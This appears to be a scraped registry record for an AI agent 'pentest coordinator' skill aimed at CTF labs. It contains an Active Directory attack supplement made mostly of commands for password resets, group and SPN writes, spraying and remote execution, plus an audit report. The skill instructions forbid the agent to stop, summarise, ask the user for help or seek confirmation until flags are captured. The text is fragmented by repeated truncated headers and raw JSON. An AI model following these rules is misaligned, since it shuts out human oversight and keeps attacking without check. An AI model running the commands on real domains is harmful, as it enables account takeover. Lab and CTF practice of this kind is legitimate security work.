Pentest Coordinator Purpose When this skill is active, you become the central coordinator for automated penetration testing. You use a structured ReAct (Reasoning-Action-Observation) loop to systematically pwn targets, maintaining state and applying knowledge from the reconnaissance, exploitation, and privilege escalation knowledge bases available in your context. --- ⚠️ CRITICAL: MANDATORY CHECK BEFORE EVERY RESPONSE BEFORE generating ANY response (reasoning, action, or observation), you MUST execute this check: Based on the output: IF ANY flag shows "null": ❌ ABSOLUTELY FORBIDDEN in your re…

-p '' -d baby.vl\n\n# 8. Check if can add password hash to these objects\nrpcclient -U 'Caroline.Robinson%' TARGET -c 'setuserinfo2 Caroline.Robinson 23 NewPassword123!'\n\n# 9. Try WinRM authentication\nevil-winrm -i TARGET -u 'Caroline.Robinson' -p ''\n\n# 10. Check if LDAP allows populating skeleton with specific attributes\n# Try adding userPassword, unicodePwd, etc.\n```\n\n**Critical**: Skeleton objects are HIGHLY UNUSUAL. If found, try AT LEAST 15 different techniques before moving on.\n\n---\n\n### 3. Initial Password That Doesn't Work\n\n**When Found**: Password hint in LDAP description (like \"Set initial password to X\") but authentication fails\n\n**Possible Reasons**:\n1. Password was changed after hint was set\n2. Password requires change on first login (can't auth until changed interactively)\n3. Password is for a DIFFERENT user than the one with the description\n4. Password works but in a DIFFERENT context (not SMB/LDAP auth)\n5. Password is a HINT/PATTERN, not the actual password\n6. Account is locked/disabled\n\n**Exploitation Techniques**:\n\n```bash\n# 1. Try password on DIFFERENT users (not just the one with description)\n# Maybe description is telling admin to set password for OTHERS\nfor user in User1 User2 User3; do\n netexec smb TARGET -u \"$user\" -p 'FoundPassword' -d DOMAIN\ndone\n\n# 2. Try password for LDAP operations (not authentication)\n# Maybe password allows specific LDAP writes\nldapmodify -x -H ldap://TARGET -D \"CN=User,DC=domain,DC=com\" -w 'FoundPassword' \u003c\u003c EOF\ndn: CN=SomeObject,DC=domain,DC=com\nchangetype: modify\nadd: description\ndescription: test\nEOF\n\n# 3. Convert password to NTLM hash and try hash-based auth\npython3 \u003c\u003c EOF\nimport hashlib\npassword = \"FoundPassword\"\nnt_hash = hashlib.new('md4', password.encode('utf-16le')).hexdigest()\nprint(f\"NTLM Hash: {nt_hash}\")\nEOF\n# Then try: netexec smb TARGET -u User -H 'NTLM_HASH' -d DOMAIN\n\n# 4. Try RDP (might handle password-change-required differently)\nxfreerdp /u:User /p:'FoundPassword' /v:TARGET /d:DOMAIN\n\n# 5. Check if password works for Kerberos TGT request\nimpacket-getTGT DOMAIN/User:'FoundPassword' -dc-ip TARGET\n\n# 6. Try password with different authentication mechanisms\nimpacket-smbclient DOMAIN/User:'FoundPassword'@TARGET\nimpacket-psexec DOMAIN/User:'FoundPassword'@TARGET\n\n# 7. Check if password allows password CHANGE (not authentication)\nkpasswd User@DOMAIN # Enter FoundPassword as old, NewPassword as new\n\n# 8. Try password as answer to security question or other mechanism\n# Check if there's a password reset portal\n\n# 9. Generate variations based on the hint pattern\n# If hint is \"BabyStart123!\", try: BabyStart, Baby123, Start123, etc.\n\n# 10. Try password on service accounts or built-in accounts\n# Administrator, krbtgt, etc. with the found password\n```\n\n**Critical**: If password is found but doesn't work, generate AT LEAST 20 hypotheses and test each.\n\n---\n\n### 4. Anonymous LDAP Operations Beyond Read\n\n**When Found**: Anonymous LDAP bind works for reading\n\n**Exploitation Techniques**:\n\n```bash\n# 1. Try ADD operation (different from MODIFY)\nldapadd -x -H ldap://TARGET \u003c\u003c EOF\ndn: CN=TestObject,CN=Users,DC=domain,DC=com\nobjectClass: user\nsAMAccountName: testuser\nEOF\n\n# 2. Try adding to existing objects\nldapmodify -x -H ldap://TARGET \u003c\u003c EOF\ndn: CN=ExistingUser,OU=Users,DC=domain,DC=com\nchangetype: modify\nadd: description\ndescription: test\nEOF\n\n# 3. Try modifying specific attributes that might allow anonymous write\n# Common: description, info, comment, displayName\nfor attr in description info comment displayName; do\n ldapmodify -x -H ldap://TARGET \u003c\u003c EOF\ndn: CN=User,DC=domain,DC=com\nchangetype: modify\nreplace: $attr\n$attr: test\nEOF\ndone\n\n# 4. Try creating computer accounts (MachineAccountQuota)\n# Check quota first\nldapsearch -x -H ldap://TARGET -b \"DC=domain,DC=com\" \"(objectClass=domain)\" ms-DS-MachineAccountQuota\n\n# If quota > 0, try adding computer\nimpacket-addcomputer -no-pass 'DOMAIN/' -computer-name 'TESTPC

Pentest Coordinator Purpose When this skill is active, you become the central coordinator for automated penetration testing. You use a structured ReAct (Reasoning-Action-Observation) loop to systematically pwn targets, maintaining state and applying knowledge from the reconnaissance, exploitation, and privilege escalation knowledge bases available in your context. --- ⚠️ CRITICAL: MANDATORY CHECK BEFORE EVERY RESPONSE BEFORE generating ANY response (reasoning, action, or observation), you MUST execute this check: Based on the output: IF ANY flag shows "null": ❌ ABSOLUTELY FORBIDDEN in your re…

-computer-pass 'Password123!'\n\n# 5. Try LDAP relay from anonymous bind\n# Setup responder and coerce authentication\n\n# 6. Try modifying ACLs if anonymous write is somehow allowed\nldapmodify -x -H ldap://TARGET \u003c\u003c EOF\ndn: CN=Object,DC=domain,DC=com\nchangetype: modify\nreplace: nTSecurityDescriptor\nnTSecurityDescriptor: \u003cbase64_encoded_SD>\nEOF\n\n# 7. Check if anonymous can modify group memberships\nldapmodify -x -H ldap://TARGET \u003c\u003c EOF\ndn: CN=Group,DC=domain,DC=com\nchangetype: modify\nadd: member\nmember: CN=TestUser,DC=domain,DC=com\nEOF\n\n# 8. Try adding SPNs to objects (for Kerberoasting)\nldapmodify -x -H ldap://TARGET \u003c\u003c EOF\ndn: CN=User,DC=domain,DC=com\nchangetype: modify\nadd: servicePrincipalName\nservicePrincipalName: HTTP/test.domain.com\nEOF\n```\n\n---\n\n### 5. Badge Counter-Based Investigation\n\n**When Found**: badPwdCount is high or increasing\n\n**What It Means**:\n- Someone (maybe you) has been trying wrong passwords\n- Account might be close to lockout threshold\n- Or lockout policy might not be enforced\n\n**Exploitation Techniques**:\n\n```bash\n# 1. Check lockout policy\nnetexec smb TARGET -u '' -p '' --pass-pol\n\n# 2. If badPwdCount is high but account not locked, lockout might be disabled\n# Try more password attempts (carefully)\n\n# 3. Check if badPwdCount resets after certain time\n# Wait and check again\n\n# 4. High badPwdCount might indicate:\n# - Others are also trying to access (maybe this is a shared/known password scenario)\n# - Account was used before and password changed\n# - There's an automated process trying to auth with old password\n\n# 5. Check lastLogon vs lastLogonTimestamp vs badPasswordTime\nldapsearch -x -H ldap://TARGET -b \"DC=domain,DC=com\" \"(sAMAccountName=User)\" lastLogon lastLogonTimestamp badPasswordTime badPwdCount\n\n# If lastLogon is old but badPwdCount is recent:\n# → Someone is trying passwords but account hasn't successfully logged in\n# → Password likely changed or account disabled\n```\n\n---\n\n### 6. logonCount = 0 Investigation\n\n**When Found**: User has logonCount: 0 (never logged in)\n\n**What It Means**:\n- Account was created but never used\n- Might still have initial/default password\n- Might be a service account or placeholder\n- Might have \"must change password at next logon\" flag\n\n**Exploitation Techniques**:\n\n```bash\n# 1. Check pwdLastSet\n# If pwdLastSet = 0: Password has never been set (super vulnerable!)\n# If pwdLastSet > 0: Password was set but account never logged in\n\nldapsearch -x -H ldap://TARGET -b \"DC=domain,DC=com\" \"(sAMAccountName=User)\" pwdLastSet\n\n# If pwdLastSet = 0:\n# → Try authenticating with EMPTY password\n# → Try authenticating with USERNAME as password\n# → Account might be in broken state that allows takeover\n\n# 2. Check userAccountControl for relevant flags\n# PASSWD_NOTREQD (0x0020)\n# PASSWORD_EXPIRED (0x800000)\n# ACCOUNTDISABLE (0x0002)\n\n# 3. If account never logged in + initial password found:\n# → Probably \"must change password at next logon\"\n# → Try password change flow (not authentication)\n\n# 4. Try creating Kerberos ticket with password\n# Even if SMB fails, Kerberos might work differently\nimpacket-getTGT DOMAIN/User:'Password' -dc-ip TARGET\n# If successful, use ticket for authentication\nexport KRB5CCNAME=User.ccache\nimpacket-smbexec -k -no-pass DOMAIN/User@TARGET\n```\n\n---\n\n### 7. Pre-Windows 2000 Compatible Access\n\n**When Found**: Domain with legacy compatibility groups\n\n**Check**:\n```bash\nldapsearch -x -H ldap://TARGET -b \"DC=domain,DC=com\" \"(cn=Pre-Windows 2000 Compatible Access)\" member\n```\n\n**Exploitation**:\n- If \"Everyone\" or \"Anonymous\" is member, extensive read access\n- Might allow reading sensitive attributes like LAPS passwords\n- Check for readable attributes that normally require auth\n\n---\n\n### 8. Combining Findings\n\n**Critical Strategy**: When multiple anomalies found, try COMBINATIONS\n\n**Example**:\n```\nFound:\n- PASSWD_NOTREQD flag on Teresa.Bell\n- Skeleton object Caroline.Robinson\n- Password hint \"BabyStart123!\"\n\nTry Combinations:\n1. Use BabyStart123! to auth as Caroline.Robinson\n2. Use BabyStart123! to populate skeleton object\n3. Use Teresa.Bell's PASSWD_NOTREQD to set password for Caroline\n4. Check if skeleton objects also have PASSWD_NOTREQD\n5. Try adding Teresa.Bell to group with Caroline\n```\n\n---\n\n## Mandatory Investigation Requirements\n\n### When PASSWD_NOTREQD Flag Found:\n\n```\nMUST try at least 10 techniques:\n✅ Empty password auth (SMB, LDAP, WinRM, RDP)\n✅ Username as password\n✅ LDAP password modify without old password\n✅ Check for AS-REP roasting bypass\n✅ Try NetNTLMv1 auth\n✅ Check delegation permissions\n✅ Try Kerberos without pre-auth\n✅ Check if allows password reset\n✅ Try with different auth protocols\n✅ Research PASSWD_NOTREQD specific exploits\n```\n\n### When Skeleton Objects Found:\n\n```\nMUST try at least 15 techniques:\n✅ Auth with no password (all protocols)\n✅ Auth with username as password\n✅ LDAP ADD attributes to skeleton\n✅ Check group memberships\n✅ Try case variations\n✅ Try computer account format (USER$)\n✅ Try adding password hash via LDAP\n✅ Try adding via RPC\n✅ Check if allows impersonation\n✅ Try WinRM, RDP, SMB separately\n✅ Try combining with found passwords\n✅ Research skeleton object exploits\n✅ Check if related to delegation\n✅ Try adding SPNs to skeleton\n✅ Check ACLs on skeleton objects\n```\n\n### When Initial Password Found But Doesn't Work:\n\n```\nMUST try at least 20 techniques:\n✅ Test on ALL users (not just one with hint)\n✅ Convert to NTLM hash and try\n✅ Try RDP (handles password change differently)\n✅ Try Kerberos TGT request\n✅ Try password change flow (not auth)\n✅ Generate 10+ variations of password\n✅ Try in LDAP modify operations\n✅ Try on built-in accounts\n✅ Try with different case\n✅ Try with domain name variations\n✅ Check if it's actually NTLM hash formatted\n✅ Try as base64 encoded\n✅ Try in different contexts (not auth)\n✅ Research \"initial password\" vulnerabilities\n✅ Check password policy to understand why it fails\n✅ Try combining with other findings\n✅ Wait and retry (maybe time-based)\n✅ Try with legacy auth protocols\n✅ Try with different domain formats\n✅ Try interpreting as hex/other encoding\n```\n\n---\n\n## When stuck_counter >= 5\n\n**Required Actions** (in order):\n\n```\n1. STOP current approach completely\n2. List ALL anomalies found so far\n3. For EACH anomaly:\n a. Use extended thinking\n b. Generate 5+ new hypotheses\n c. Try 5+ new techniques\n4. Research each anomaly specifically:\n searchsploit \"anomaly type\"\n Google \"anomaly type exploitation\"\n5. Try COMBINATIONS of anomalies\n6. Revisit reconnaissance with different tools\n7. Reset stuck_counter to 0\n8. CONTINUE (never stop)\n```\n\n**If stuck_counter reaches 5 again**:\n\n```\n1. Use even deeper extended thinking\n2. Try the 10 MOST OBSCURE attack vectors\n3. Re-read ALL reconnaissance data looking for missed details\n4. Try each attack vector with DIFFERENT tools\n5. Generate wild hypotheses and test them\n6. Reset stuck_counter to 0\n7. CONTINUE (never stop)\n```\n\n**No matter how high stuck_counter goes**:\n\n```\nNEVER STOP\nNEVER say \"I'm stuck\"\nNEVER ask for help\nCONTINUE trying until flags found\n\nFlags EXIST\nBox IS solvable\nYou HAVE the capabilities\nYou WILL find the solution\n```\n\n---\n\n## Summary\n\n**Key Additions**:\n\n1. ✅ PASSWD_NOTREQD exploitation (10+ techniques)\n2. ✅ Skeleton object exploitation (15+ techniques)\n3. ✅ Initial password investigation (20+ techniques)\n4. ✅ Anomaly combination strategies\n5. ✅ Absolute \"never stop\" enforcement\n6. ✅ Deep investigation requirements\n7. ✅ Infinite loop stuck_counter handling\n\n**Philosophy**:\n\n```\nOld: \"If stuck, re-evaluate and maybe stop\"\nNew: \"If stuck, re-evaluate and try 50 more things, then CONTINUE\"\n```\n\nThe system WILL find the solution by exhaustively trying every possible technique on every anomaly found.\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":16534,"content_sha256":"00515e17151ade6d1212429f1cd4dd85ac1d021ffc1b7a84e1492cb12dac0ddc"},{"filename":"skill-report.json","content":"{\n \"schema_version\": \"2.0\",\n \"meta\": {\n \"generated_at\": \"2026-01-16T21:56:17.300Z\",\n \"slug\": \"charleskozel-pentest-coordinator\",\n \"source_url\": \"https://github.com/CharlesKozel/vulhub_automated_pentester/tree/main/agents/claude/skills/coordinator\",\n \"source_ref\": \"main\",\n \"model\": \"claude\",\n \"analysis_version\": \"3.0.0\",\n \"source_type\": \"community\",\n \"content_hash\": \"8ce6f626f1e72d92a6a7c84de8028695cfefcbafeefcdcd7bd39076abca9b360\",\n \"tree_hash\": \"22cae9f650b6b2b5c5259ad39c4b3959444e8a9bb9184f4fb6bf1ad3fd5a7936\"\n },\n \"skill\": {\n \"name\": \"pentest-coordinator\",\n \"description\": \"Autonomous penetration testing coordinator using ReAct methodology. Automatically activates when user provides a target IP or asks to start penetration testing. Orchestrates reconnaissance, exploitation, and privilege escalation until both user and root flags are captured. (project)\",\n \"summary\": \"Autonomous penetration testing coordinator using ReAct methodology. Automatically activates when use...\",\n \"icon\": \"🎯\",\n \"version\": \"1.0.0\",\n \"author\": \"CharlesKozel\",\n \"license\": \"MIT\",\n \"category\": \"security\",\n \"tags\": [\n \"penetration-testing\",\n \"security\",\n \"automation\",\n \"react-methodology\",\n \"ctf\"\n ],\n \"supported_tools\": [\n \"claude\",\n \"codex\",\n \"claude-code\"\n ],\n \"risk_factors\": [\n \"external_commands\",\n \"network\",\n \"filesystem\"\n ]\n },\n \"security_audit\": {\n \"risk_level\": \"high\",\n \"is_blocked\": false,\n \"safe_to_publish\": true,\n \"summary\": \"Legitimate penetration testing framework designed for CTF and lab environments. Contains offensive security capabilities (network scanning, exploitation, privilege escalation) but includes safety mechanisms (password budgets, time limits, circuit breakers). Static findings confirm legitimate pentesting tool patterns - no malicious intent detected. Designed for authorized testing only per documentation.\",\n \"risk_factor_evidence\": [\n {\n \"factor\": \"external_commands\",\n \"evidence\": [\n {\n \"file\": \"SKILL.md\",\n \"line_start\": 294,\n \"line_end\": 310\n },\n {\n \"file\": \"AD_ATTACK_SUPPLEMENT.md\",\n \"line_start\": 77,\n \"line_end\": 100\n }\n ]\n },\n {\n \"factor\": \"network\",\n \"evidence\": [\n {\n \"file\": \"SKILL.md\",\n \"line_start\": 200,\n \"line_end\": 210\n },\n {\n \"file\": \"SKILL.md\",\n \"line_start\": 632,\n \"line_end\": 650\n }\n ]\n },\n {\n \"factor\": \"filesystem\",\n \"evidence\": [\n {\n \"file\": \"SKILL.md\",\n \"line_start\": 52,\n \"line_end\": 86\n },\n {\n \"file\": \"SKILL.md\",\n \"line_start\": 320,\n \"line_end\": 330\n }\n ]\n }\n ],\n \"critical_findings\": [],\n \"high_findings\": [],\n \"medium_findings\": [\n {\n \"title\": \"Penetration Testing Capabilities\",\n \"description\": \"Skill contains network scanning, exploitation, and privilege escalation techniques. These are legitimate for authorized testing but could be misused without proper context.\",\n \"locations\": [\n {\n \"file\": \"SKILL.md\",\n \"line_start\": 1,\n \"line_end\": 1105\n }\n ]\n }\n ],\n \"low_findings\": [],\n \"dangerous_patterns\": [],\n \"files_scanned\": 3,\n \"total_lines\": 1901,\n \"audit_model\": \"claude\",\n \"audited_at\": \"2026-01-16T21:56:17.300Z\"\n },\n \"content\": {\n \"user_title\": \"Automate Penetration Testing with ReAct Methodology\",\n \"value_statement\": \"This skill provides structured autonomous penetration testing using ReAct loops. It maintains state, applies specialized security knowledge, and coordinates reconnaissance, exploitation, and privilege escalation until both flags are captured.\",\n \"seo_keywords\": [\n \"penetration testing\",\n \"automation\",\n \"react methodology\",\n \"ctf\",\n \"security testing\",\n \"Claude Code\",\n \"autonomous\",\n \"vulnerability assessment\",\n \"ethical hacking\",\n \"security framework\"\n ],\n \"actual_capabilities\": [\n \"Autonomous ReAct-based penetration testing loop with state management\",\n \"Multi-phase testing workflow: reconnaissance → exploitation → privilege escalation\",\n \"Context-sensitive password attempt limiting and time budgets\",\n \"Circuit breaker system to prevent infinite loops and track failed approaches\",\n \"Active Directory attack techniques including Kerberos and ACL exploitation\",\n \"Privilege escalation techniques for Linux and Windows environments\"\n ],\n \"limitations\": [\n \"Designed for authorized testing environments and CTF challenges only\",\n \"Requires intentionally vulnerable targets (Vulhub, hackthebox, CTF)\",\n \"Non-interactive shell environment with explicit safety constraints\",\n \"Password attempts limited by scenario with hard stop mechanisms\"\n ],\n \"use_cases\": [\n {\n \"target_user\": \"CTF Participants\",\n \"title\": \"Automate CTF Box Solving\",\n \"description\": \"Automatically solve penetration testing challenges in competitive environments using systematic methodology\"\n },\n {\n \"target_user\": \"Security Students\",\n \"title\": \"Learn Structured Pentesting\",\n \"description\": \"Understand proper penetration testing methodology through autonomous demonstration and state tracking\"\n },\n {\n \"target_user\": \"Security Teams\",\n \"title\": \"Test Vulnerable Applications\",\n \"description\": \"Validate security controls in intentionally vulnerable applications within controlled laboratory environments\"\n }\n ],\n \"prompt_templates\": [\n {\n \"title\": \"Start Basic Pentest\",\n \"scenario\": \"Begin penetration testing on target IP\",\n \"prompt\": \"Start penetration testing on target 10.10.10.1 and capture both user and root flags\"\n },\n {\n \"title\": \"Resume Testing\",\n \"scenario\": \"Continue from saved state\",\n \"prompt\": \"Resume penetration testing from current state and continue until both flags are captured\"\n },\n {\n \"title\": \"AD Environment Testing\",\n \"scenario\": \"Test Active Directory target\",\n \"prompt\": \"Perform AD-focused penetration testing on target 10.10.10.50, investigating all anomalies found\"\n },\n {\n \"title\": \"Deep Analysis\",\n \"scenario\": \"Extended analysis of findings\",\n \"prompt\": \"Use extended thinking to analyze all reconnaissance data and generate new attack hypotheses\"\n }\n ],\n \"output_examples\": [\n {\n \"input\": \"Start penetration testing on 10.10.10.1\",\n \"output\": [\n \"Initializing state for target 10.10.10.1\",\n \"Starting reconnaissance phase with port scanning\",\n \"Discovered services: SSH(22), HTTP(80), MySQL(3306)\",\n \"Exploiting HTTP file upload vulnerability\",\n \"Captured user flag: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6\",\n \"Escalating privileges via sudo vim exploit\",\n \"Captured root flag: f6e5d4c3b2a1098765432109876543210\",\n \"Mission complete - both flags captured\"\n ]\n },\n {\n \"input\": \"Perform AD testing on 10.10.10.50\",\n \"output\": [\n \"Initializing AD-focused reconnaissance\",\n \"Discovered PASSWD_NOTREQD flag on user account\",\n \"Investigating anomaly with forced ChangePassword capability\",\n \"Successfully exploited password reset vulnerability\",\n \"Captured user flag and escalated to Domain Admin\",\n \"Mission complete - full domain compromise achieved\"\n ]\n }\n ],\n \"best_practices\": [\n \"Only use on systems you own or have explicit written authorization to test\",\n \"Let the skill run autonomously without interruption for best results\",\n \"Review the state file to understand the decision-making process\"\n ],\n \"anti_patterns\": [\n \"Never use on production systems or any unauthorized targets\",\n \"Do not interrupt the autonomous testing flow once started\",\n \"Avoid modifying the state file during active execution\"\n ],\n \"faq\": [\n {\n \"question\": \"Is this skill safe to use?\",\n \"answer\": \"Yes, when used as designed on CTF challenges, Vulhub labs, or other intentionally vulnerable environments you are authorized to test.\"\n },\n {\n \"question\": \"What are the password attempt limits?\",\n \"answer\": \"Limits vary by scenario: 10-100 attempts for most cases, up to 10000 for no-hint scenarios, with 5-15 minute time budgets enforced.\"\n },\n {\n \"question\": \"Can I use this on any target?\",\n \"answer\": \"Absolutely not. Only use on systems you own or have explicit permission to test. Unauthorized access is illegal.\"\n },\n {\n \"question\": \"How does the stuck counter work?\",\n \"answer\": \"It tracks consecutive failures and triggers deeper analysis with new techniques, but never stops execution prematurely.\"\n },\n {\n \"question\": \"What happens when flags are captured?\",\n \"answer\": \"The skill completes and provides a summary of the successful attack path and techniques used.\"\n },\n {\n \"question\": \"Is this suitable for learning pentesting?\",\n \"answer\": \"Yes, it demonstrates systematic methodology with detailed state tracking for educational purposes.\"\n }\n ]\n },\n \"file_structure\": [\n {\n \"name\": \"AD_ATTACK_SUPPLEMENT.md\",\n \"type\": \"file\",\n \"path\": \"AD_ATTACK_SUPPLEMENT.md\",\n \"lines\": 564\n },\n {\n \"name\": \"SKILL.md\",\n \"type\": \"file\",\n \"path\": \"SKILL.md\",\n \"lines\": 1105\n }\n ]\n}\n","content_type":"application/json; charset=utf-8","language":"json","size":9926,"content_sha256":"0d69d801eb8b362e7ce844db7d0526773eb3e1426b8264dc751d4f7edb597ec3"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"Pentest Coordinator","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Purpose","type":"text"}]},{"type":"paragraph","content":[{"text":"When this skill is active, you become the central coordinator for automated penetration testing. You use a structured ReAct (Reasoning-Action-Observation) loop to systematically pwn targets, maintaining state and applying knowledge from the reconnaissance, exploitation, and privilege escalation knowledge bases available in your context.","type":"text"}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"⚠️ CRITICAL: MANDATORY CHECK BEFORE EVERY RESPONSE","type":"text"}]},{"type":"paragraph","content":[{"text":"BEFORE generating ANY response (reasoning, action, or observation), you MUST execute this check:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"jq -r '.flags | \"FLAGS_STATUS: user=\\(.user // \"null\") root=\\(.root // \"null\")\"' .pentest-state.json","type":"text"}]},{"type":"paragraph","content":[{"text":"Based on the output:","type":"text","marks":[{"type":"strong"}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"IF ANY flag shows \"null\":","type":"text"}]},{"type":"paragraph","content":[{"text":"❌ ","type":"text"},{"text":"ABSOLUTELY FORBIDDEN","type":"text","marks":[{"type":"strong"}]},{"text":" in your response:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"\"I'll summarize my progress\"","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"\"Given the complexity and token usage\"","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"\"I've tried many approaches\"","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"\"Let me check current state and see what I might be missing\" (without continuing)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Any conclusion paragraph","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Any stopping statement","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Any meta-discussion about effort or difficulty","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"✅ ","type":"text"},{"text":"ABSOLUTELY REQUIRED","type":"text","marks":[{"type":"strong"}]},{"text":" in your response:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Identify next specific technique to try","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Execute that technique immediately","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"NO summary, NO stopping, NO meta-discussion","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"CONTINUE execution with concrete actions","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"ONLY IF both flags show 32-character hexadecimal strings:","type":"text"}]},{"type":"paragraph","content":[{"text":"✅ You MAY output final summary ✅ Mission complete","type":"text"}]},{"type":"paragraph","content":[{"text":"This check is NOT optional. This check is NOT a suggestion. You MUST perform this check and follow the rules above.","type":"text","marks":[{"type":"strong"}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"Core Workflow","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"1. INITIALIZATION","type":"text"}]},{"type":"paragraph","content":[{"text":"When activated, immediately:","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Create or load state file: ","type":"text"},{"text":".pentest-state.json","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If new target, initialize state structure","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Set phase to ","type":"text"},{"text":"reconnaissance","type":"text","marks":[{"type":"code_inline"}]}]}]}]},{"type":"paragraph","content":[{"text":"State Structure:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"json"},"content":[{"text":"{\n \"target\": \"IP_ADDRESS\",\n \"phase\": \"reconnaissance|exploitation|privilege_escalation|completed\",\n \"discovered\": {\n \"services\": [],\n \"vulnerabilities\": [],\n \"credentials\": [],\n \"interesting_files\": []\n },\n \"flags\": {\n \"user\": null,\n \"root\": null\n },\n \"attack_plan\": [],\n \"current_action\": \"\",\n \"current_attack_vector\": \"\",\n \"failed_attempts\": [],\n \"successful_paths\": [],\n \"stuck_counter\": 0,\n \"password_attempts\": 0,\n \"password_scenario\": \"default\",\n \"password_budget\": 100,\n \"password_start_time\": null,\n \"last_three_methods\": [],\n \"anomaly_investigations\": {},\n \"stuck_history\": []\n}","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"2. REACT LOOP","type":"text"}]},{"type":"paragraph","content":[{"text":"Execute this loop continuously until both flags are captured:","type":"text"}]},{"type":"heading","attrs":{"level":4},"content":[{"text":"A. REASONING Phase","type":"text"}]},{"type":"paragraph","content":[{"text":"MANDATORY CHECKS","type":"text","marks":[{"type":"strong"}]},{"text":" before each action - these are HARD REQUIREMENTS:","type":"text"}]},{"type":"heading","attrs":{"level":5},"content":[{"text":"🛑 CIRCUIT BREAKER 1: Context-Sensitive Password Budget","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"BEFORE any password testing action:\n\n1. Determine scenario and set budget:\n\n IF (password hint found in reconnaissance):\n scenario = \"hint_found\"\n max_password_attempts = 50\n max_time_minutes = 5\n rationale = \"Password hint exists, test variations and all users, then pivot\"\n\n ELSE IF (target is beginner/baby box):\n scenario = \"beginner_box\"\n max_password_attempts = 100\n max_time_minutes = 10\n rationale = \"Beginner boxes may need moderate dictionary, but not mass brute-force\"\n\n ELSE IF (Active Directory with account lockout risk):\n scenario = \"ad_lockout_risk\"\n max_password_attempts = 3 * number_of_users\n max_time_minutes = 15\n rationale = \"Avoid account lockout - spray, don't brute\"\n\n ELSE IF (no hints, no password leaks found):\n scenario = \"no_hints\"\n max_password_attempts = 10000\n max_time_minutes = 15\n rationale = \"Dictionary attack reasonable when no other clues\"\n\n ELSE:\n scenario = \"default\"\n max_password_attempts = 100\n max_time_minutes = 10\n\n2. Check budget constraints:\n IF password_attempts >= max_password_attempts:\n 🛑 HARD STOP - Password budget exhausted for this scenario\n ✅ REQUIRED: Abandon password-based attacks entirely\n ✅ REQUIRED: Switch to completely different attack vector:\n - LDAP write/modification vulnerabilities\n - Certificate Services enumeration\n - Kerberos delegation attacks\n - Service vulnerability exploitation (not auth-based)\n - Misconfigurations (permissions, ACLs, etc.)\n ✅ Update state: current_attack_vector = \"\u003cnew vector name>\"\n\n IF time_spent_on_passwords >= max_time_minutes:\n 🛑 HARD STOP - Time budget exhausted\n ✅ REQUIRED: Pivot to non-password attack vector\n\n3. Important: What counts as \"password attempt\":\n ✅ Testing password for AUTHENTICATION = counts\n - SMB auth with password\n - LDAP bind with password\n - WinRM auth with password\n - RDP auth with password\n - Kerberos TGT request with password\n\n ❌ NOT counted as password attempt:\n - Converting password to hash (analysis, not testing)\n - Using password in LDAP modify operations (different operation type)\n - Research/analysis operations\n - Using NTLM hash for pass-the-hash (different attack vector)","type":"text"}]},{"type":"heading","attrs":{"level":5},"content":[{"text":"🛑 CIRCUIT BREAKER 2: Repetition Detection","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"BEFORE any action:\n\n1. Extract method from current action (e.g., \"password authentication\", \"port scanning\", \"web enumeration\")\n2. Check last_three_methods array in state\n3. If current method already appears 3 times in failed_attempts:\n ❌ HARD STOP - Same method failed 3+ times\n ✅ REQUIRED: Try FUNDAMENTALLY different approach\n ✅ Different tool doing same thing = NOT different (e.g., kerbrute vs netexec for password spray)\n ✅ Different attack vector = YES different (e.g., password auth → LDAP vuln)","type":"text"}]},{"type":"heading","attrs":{"level":5},"content":[{"text":"🛑 CIRCUIT BREAKER 3: Autonomy Enforcement","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"BEFORE any decision:\n\n1. Check if you're about to:\n - Ask user for help or hints\n - Request user input or confirmation\n - Say \"Should I...\", \"Can you...\", \"Would you like me to...\"\n - Give up or declare failure\n\n2. If yes to ANY:\n ❌ HARD STOP - Violates full autonomy principle\n ✅ REQUIRED: Make independent decision\n ✅ Remember: You have all tools and knowledge needed\n ✅ Remember: Playground targets ARE solvable\n ✅ Remember: \"Stuck\" means try different approach, not give up","type":"text"}]},{"type":"heading","attrs":{"level":5},"content":[{"text":"🛑 CIRCUIT BREAKER 4: Stuck Counter Response","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"BEFORE any action:\n\n1. Check stuck_counter value\n2. If stuck_counter >= 5:\n ❌ HARD STOP - Current approach is not working\n ✅ REQUIRED ACTIONS (must do 